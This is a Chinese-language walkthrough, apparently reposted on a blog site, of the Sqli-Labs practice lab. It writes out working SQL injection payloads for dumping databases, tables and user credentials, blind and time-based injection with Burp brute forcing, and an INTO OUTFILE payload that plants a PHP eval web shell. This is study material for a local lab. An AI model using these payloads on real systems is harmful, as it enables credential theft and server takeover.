Sqli-Labs 通关笔记

这篇具有很好参考价值的文章主要介绍了Sqli-Labs 通关笔记。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

07-SQL注入

1. 搭建sqli靶场

创建网站时选择php版本为5.x

Sqli-Labs 通关笔记

修改./sql-connections/db-creds.inc

Sqli-Labs 通关笔记

修改数据库用户名和密码,下面的数据库名不用管

Sqli-Labs 通关笔记

2. 完成 SQLi-LABS Page-1

任务目标:获取表名

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

sql查询语句为SELECT * FROM users WHERE id='$id' LIMIT 0,1

输入?id=-1',报错语句为You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1'' LIMIT 0,1' at line 1

可以看出查询语句为id=‘-1’

id=1 and 1=2显示正常,有可能为字符型

Sqli-Labs 通关笔记

id=1' and '1'='2无回显,该处sql注入为字符型

id=1' order by 3--+有回显,id=1' order by 4--+报错,证明该处有3列

Sqli-Labs 通关笔记

Sqli-Labs 通关笔记

1.获取当前数据库

id=aa' union select 1,2,3--+ 用union select可以看到2和3号位有回显

Sqli-Labs 通关笔记

?id=-1' union select 1,2,database()--+

Sqli-Labs 通关笔记

2.获取所有库名

id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

Sqli-Labs 通关笔记

3.获取表名

http://127.0.0.1:88/Less-1/?id=aa' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+获取表名

Sqli-Labs 通关笔记

4.获取表的所有字段

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+

Sqli-Labs 通关笔记

5.获取users表所有字段内容

?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from users--+

Sqli-Labs 通关笔记

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

sql查询语句为SELECT * FROM users WHERE id=$id LIMIT 0,1

输入?id=-1',报错语句为You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

可以看出查询语句为id=-1

漏洞利用同1,去掉’

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

sql查询语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1

输入?id=-1',报错语句为You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-1'') LIMIT 0,1' at line 1

可以看出查询语句为id=(‘-1’)

注入语句同1 ,在’后加)

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

sql查询语句为SELECT * FROM users WHERE id=($id) LIMIT 0,1

输入单引号不报错,输入双引号报错,报错语句为You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

可以看出查询语句为id=(“1”)

注入语句同1,在后面加")

Less-5 Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

sql查询语句为SELECT * FROM users WHERE id='$id' LIMIT 0,1

输入?id=1,没有回显,只显示You are in...........,可以看出是盲注

输入单引号报错,报错语句为You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

可以看出查询语句为id=‘1’

首先获取字段数量,?id=1' order by 4--+报错,?id=1' order by 3--+不报错,可以看出有三个字段

1.猜当前数据库名

方法一

通过输入?id=1' and left(database(),1)='a'--+,如果显示You are in...........,则代表第一位字母为a

使用burp进行爆破,抓包,放到Intruder中,positions选择字母a,payload set选择Brute forcer,payload options 选择abcdefghijklmnopqrstuvwxyz0123456789,min length选择1,max length选择1。如下图

Sqli-Labs 通关笔记

在爆破结果中按照长度排序,可以看到当前数据库第一位为s

Sqli-Labs 通关笔记

将payload改为?id=1'+and+left(database(),2)='s§a§'--+,继续爆破,可以看到第二位为e

Sqli-Labs 通关笔记

以此类推,可以推断出当前数据库名为security

方法二

/?id=1' and ascii(substr((select database()),1,1))>156--+通过二分法可以判断第一位字母

2.获取所有的库

?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+ 可修改的位置为*,1),*,1)

burp抓包,放到intruder中,位置选择等于号后面的数字,payload如图

Sqli-Labs 通关笔记

发现payload为99时报文长度不一样,即可知道第一位为c

Sqli-Labs 通关笔记

修改url为?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),2,1))=97--+爆破,即可知道第二位为h

同理,修改url为?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=97--+,可以破解出第一个表的第一个字母为i。用此方法可以破解所有的库名

3.获取security的表

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=1--+

放到burp爆破。得出第一个表的第一个字母为e

Sqli-Labs 通关笔记

修改url为?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=1--+,爆破,得到第二个表的第一个字母为r

4.破解users字段

修改url为?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),1,1))=1--+,爆破,可知users表第一列第一个字母为i,同理可知user表下有id,username,password三列

5.破解username

修改url为?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=1--+爆破,得知第一个用户名为Dumb

Less-6 Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

SQL语句为SELECT * FROM users WHERE id="$id" LIMIT 0,1

?id=1’没反应,?id=1"报错,报错信息为 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"" LIMIT 0,1' at line 1,推测查询语句为id=“1”

注入语句同5,将’改为"

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

sql语句为SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1

输入?id=1,显示 You are in.... Use outfile......,说明需要使用outfile语句。?id=1'报错,?id=1'))--+不报错,推测查询语句为id=((‘1’))

?id=1')) order by 4--+报错,?id=1')) order by 3--+不报错。推测有3列

使用?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "E:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php"--+生成一句话,在蚁剑中添加http://127.0.0.1:88/Less-7/1.php,密码为cmd即可

Less-8 Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

sql语句为SELECT * FROM users WHERE id='$id' LIMIT 0,1

输入?id=1,回显 You are in...........,输入?id=1'无回显,输入?id=1"回显You are in...........。推测sql 语句为id='1'

?id=1? order by 3--+有回显,?id=1? order by 4--+无回显,判断有当前数据库3列

爆破方法同Less5

Less-9 Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

无论输入什么都回显 You are in...........,根据标题为基于时间的盲注

输入?id=1' and sleep(3)--+,打开F12,找到网络那栏,刷新,显示时间为3000多ms,说明注入成功

注入方法同5,使用if函数,?id=1' and if(length(database())=8,sleep(3),1) --+如果网页载入时间为3000ms的话说明数据库长度为8

Less-10 Blind - Time based - double quotes (基于时间的双引号盲注)

同9,将'换为"

Less-11 Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

1.获取当前数据库

1' order by 2 #不报错,1' order by 3 #报错。说明该处有两列

1' union select 1,2#,联合查询结果如图

Sqli-Labs 通关笔记

1' union select database(),2#查询库名为security

Sqli-Labs 通关笔记

2.获取所有库名

1' union select 1,group_concat(schema_name) from information_schema.schemata# 会报错 Illegal mix of collations for operation ‘UNION’,原因不明

Sqli-Labs 通关笔记

将poc改为1' union select 1,json_ARRAYAGG(schema_name) from information_schema.schemata#即可

Sqli-Labs 通关笔记

3.获取表名

a' union select 1,json_arrayagg(table_name) from information_schema.tables where table_schema='security'#

Sqli-Labs 通关笔记

4.获取表的所有字段

1' union select 1,json_arrayagg(column_name) from information_schema.columns where table_name='users' and table_schema='security'#

Sqli-Labs 通关笔记

5.获取users表所有字段内容

1' union select 1,json_arrayagg(concat_ws('~',username,password)) from users#

Sqli-Labs 通关笔记

Less-12 Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

Less-13 Double Injection - Single quotes- String -twist (POST单引号变形双注入)

Less-14 Double Injection - Single quotes- String -twist (POST单引号变形双注入)

Less-15 Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

Less-16 Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

Less-18 Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)

Less-19 Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

0x14

0x15

0x16

3. 课程:SQL注入初级

课程:SQL注入初级(合天网安实验室) (hetianlab.com)文章来源地址https://www.toymoban.com/news/detail-419683.html

到了这里,关于Sqli-Labs 通关笔记的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTF 三大测试靶场搭建:DVWA、SQLi-LABS、upload-labs 靶场部署教程(VM + CentOS 7 + Docker)

    目录 前言 靶场介绍 DVWA SQLi-LABS upload-labs 靶场搭建 CentOS 7 虚拟环境准备 靶场环境部署 系统环境配置 Docker 环境配置 下载 Docker 配置 Docker 镜像源 启动 docker  靶场配置 靶场镜像抓取 创建并运行 docker 容器 靶场的访问  靶场的初始化 DVWA 靶场重置 SQLi-LABS 靶场重置 upload-labs 靶

    2024年01月24日
    浏览(50)
  • sqli-labs通关详解

    找注入点,当输入id=1 and 1=2–+时没有变化,尝试单引号闭合找到注入类型 字符型注入,单引号闭合 判断字段数 找回显点 发现有两个回显点 开始信息收集(注意union前后格式要相同) 开始逐级爆破 爆破数据库 看源码或者尝试,没有闭合方式,说明为数字型注入 尝试找到注入

    2023年04月15日
    浏览(48)
  • SQL注入sqli_labs靶场第三题

    ?id=1\\\'and 1=1 and \\\'1\\\'=\\\'1和?id=1\\\'and 1=1 and \\\'1\\\'=\\\'1进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。 根据报错信息判断为单引号带括号注入 联合查询: 猜解列名 ?id=1\\\') order by 3--+ 判断回显点 ?id=-1\\\') union select

    2024年04月11日
    浏览(62)
  • sqli-labs靶场分析

    1、level1 单引号测试报错,为单引号闭合,且显示1多了个单引号故而为字符型注入。且未对用户输入进行任何过滤。 且SQL语句错误会输出,可以使用报错注入 order by判断表列数 uoion 联合查询,因为网页只显示第一张表的数据,因此需要union前的语句为假,查出数据为空,把位

    2024年02月07日
    浏览(54)
  • sqli-labs靶场安装

      服务器环境:phpstudy   下载链接:https://www.xp.cn/   Sqlilabs靶场:sqlilabs   下载链接:https://github.com/Audi-1/sqli-labs   PhpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用户认可安装,运维也高效。 支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,J

    2023年04月13日
    浏览(88)
  • sqli-labs关卡18(基于http头部报错盲注)通关思路

    此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!! 1、什么是http请求头 2、为什么http头部可以进行注入 这里我只演示sql注入常见的请求头内容。 1、user-agent User-Agent 首部包含了一个特征

    2024年02月05日
    浏览(43)
  • iwebsec靶场 SQL注入漏洞通关笔记11-16进制编码绕过

    iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入(宽字节注入)_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记3- bool注入(布尔型盲注)_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时

    2023年04月24日
    浏览(52)
  • SQL-Labs靶场“11-15”关通关教程

    点击跳转: SQL-Labs靶场“1-5”关通关教程 SQL-Labs靶场“6-10”关通关教程 请求方式 注入类型 拼接方式 POST 联合、报错、布尔盲注、延时盲注 username=‘x’ 看见输入框了,说明该注入提交方式为POST,同时我们先寻找注入点: 在输入框中输入单引号: 我们可以看到产生了报错信

    2024年02月19日
    浏览(71)
  • sqli-labs-master靶场搭建以及报错解决

    一.前提准备 1.下载:sqli-labs-master。 mirrors / audi-1 / sqli-labs · GitCode 2.安装PHP study。 Windows版phpstudy下载 - 小皮面板(phpstudy) (xp.cn) 二.搭建靶场 1.启动phpstudy。 2.将sqli-labs-master.zip解压到phpstudy_proWWW,为访问方便我这将其更名为sqli。  3.打开我们的sqli。    4.在url中的localhost后输

    2024年02月08日
    浏览(44)
  • sqli-labs-master靶场搭建详细过程(附下载链接)

    首先进行搭建准备,分别点击下载SQLi-LABS 以及phpstudy,下载网址如下。 将下载好的”sqli-labs-master.zip”进行解压。 将解压缩好的“sqli-labs-master”文件夹移动到“WWW”目录下。 在“WWWsqli-labssql-connections”路径下找到“db-creds.inc”文件。 打开后找到“$dbpass =”,在后面输入数

    2024年02月11日
    浏览(46)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包